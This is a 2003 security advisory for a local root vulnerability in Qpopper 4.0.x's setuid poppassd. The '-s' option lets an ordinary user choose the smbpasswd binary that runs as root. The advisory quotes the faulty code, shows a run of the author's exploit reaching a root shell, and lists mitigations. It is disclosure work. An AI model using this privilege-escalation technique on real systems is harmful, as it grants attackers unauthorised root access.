

---

# INetCop Security Advisory #2003-0x82-016

---

\* Title: Qpopper v4.0.x poppassd local root exploit

## 0x01. Description

Qpopper poppassd is a program that changes system passwords thus allowing users to change their mail passwords.

We found security bug to poppassd that is included to basis to Qpopper v4.0.x.

Through this security bug, allow root user's authority to general user.

For reference, poppassd is daemon that is executed by root (uid 0).

example>

```
/etc/services: epass      106/tcp poppassd
```

```
/etc/inetd.conf: epass stream tcp nowait root /usr/sbin/tcpd poppassd
```

Vulnerability can presume as following.

There is dochild() function to 711 lines of 'password/poppassd.c' code.

```
—
...
170 #define PASSWD_BINARY "/usr/bin/passwd"      /* TBD: config.h */
171 #define SMBPASSWORD_BINARY "/usr/bin/smbpasswd" /* TBD: config.h */
...
711 int dochild (int master, char *slavedev, char *userid, int smb)
712 {
...
781     if (!smb)
782     {
784         setregid ( pw->pw_gid, pw->pw_gid ); // It's natural.
785         setreuid ( pw->pw_uid, pw->pw_uid ); // It's natural. ;-)
```

```

786
787     execl ( pwd_binary, "passwd", NULL ); // ok, is executed by general user.
788
789     err_msg ( HERE, "can't exec %s", pwd_binary );
790     exit ( 1 );
791 }
792 else
793 {
794     TRACE ( trace_file, POP_DEBUG, HERE, "...changing smb password" );
795     execl ( smb_binary, "smbpasswd", userid, NULL ); // Oops, is executed by root user.
796
797     err_msg ( HERE, "can't exec %s", smb_binary );
798     exit ( 1 );
799 }
800 }
...
--

```

Setuid of "/usr/bin/smbpasswd" is not established.

Certainly, "/usr/bin/smbpasswd" may be executed as root competence.

Root setuid of poppassd is established.

--

```
[x82@xpl017elz password]$ cat Makefile | grep install
```

```
# *      - Added patch by Steven Champeon to fix install and lib.
```

```
installdir      =  ${exec_prefix}/bin
```

```
INSTALL         =  /usr/bin/install -c
```

```
install:
```

```
    ${INSTALL} -m 4755 -o root -g 0 poppassd ${installdir}/poppassd; \
```

```
    echo "Installed poppassd as ${installdir}/poppassd"
```

```
[x82@xpl017elz password]$ pwd
```

```
/qpopper4.0.5/password
```

```
[x82@xpl017elz password]$ ls -al /usr/local/bin/poppassd
```

```
-rwsr-xr-x  1 root    root      108300 Apr 17 00:55 /usr/local/bin/poppassd
```

```
[x82@xpl017elz password]$ poppassd -?
```

```
poppassd [-?] [-d] [-l 0|1|2] [-p [passwd-path]] [-R] [-s [smbpasswd-path]]
```

```
[-t trace-file] [-v] [-y log-facility]
```

```
[x82@xpl017elz password]$
```

```
--
```

Fatal vulnerability !! It happens because general user can control smbpasswd's path.

'-s' option capacitates it.

## 0x02. Vulnerable Packages

It's poppassd version that is included to qpopper regardless of improved version.

```
--
```

```
[x82@xpl017elz /tmp]$ poppassd -v
```

```
poppassd version 4.0.5b2
```

```
[x82@xpl017elz /tmp]$
```

```
--
```

Vendor site: <http://www.qualcomm.com/>

qpopper4.0.5 (Inclusion)

- qpopper4.0.5.tar.gz

+ Linux

+ \*BSD

+ SunOS

+ AIX

+ IRIX

+ SCO\_SV

+ Other

qpopper4.0.4 (Inclusion)

- qpopper4.0.4.tar.gz

qpopper4.0.3 (Inclusion)

- qpopper4.0.3.tar.gz

qpopper4.0.x

beta version: qpopper4.0.\*

## 0x03. Exploit

We finished exploit. (Tested it in Linux.)

```
[x82@xpl017elz /tmp]$ ./0x82-Local.Qp0ppa55d -u x82 -p mypasswd
```

Qpopper v4.0.x poppassd local root exploit.  
by Xpl017Elz

```
[+] make code.  
[+] execute poppassd.  
200 xpl017elz poppassd v4.0.5b2 hello, who are you?  
[+] input username.  
200 your password please.  
[+] input password.  
200 your new password please.  
[+] input fake new password.  
[+] wait, 2sec.  
[+] Ok, exploited successfully.  
[*] It's Rootshell !
```

```
[root@xpl017elz /root]# id  
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
[root@xpl017elz /root]#
```

## 0x04. Patch

It is vendor's share that trim vulnerability.

Can reduce danger that remove setuid simply, or designate wheel group.

```
# chmod -s poppassd
```

or,

```
# chgrp wheel poppassd
```

```
# chmod o-rx poppassd
```

```
# chmod u+s poppassd
```

And, very excellent poppassd package version exists.

poppassd in Qpopper package does not use for the present. :-p

--

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc(at)hotmail(dot)com),  
[xploit\(at\)hackermail\(dot\)com](mailto:xploit(at)hackermail(dot)com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/> & <http://x82.inetcop.org/>

GPG public key: <http://x82.inetcop.org/h0me/pr0file/x82.k3y>

--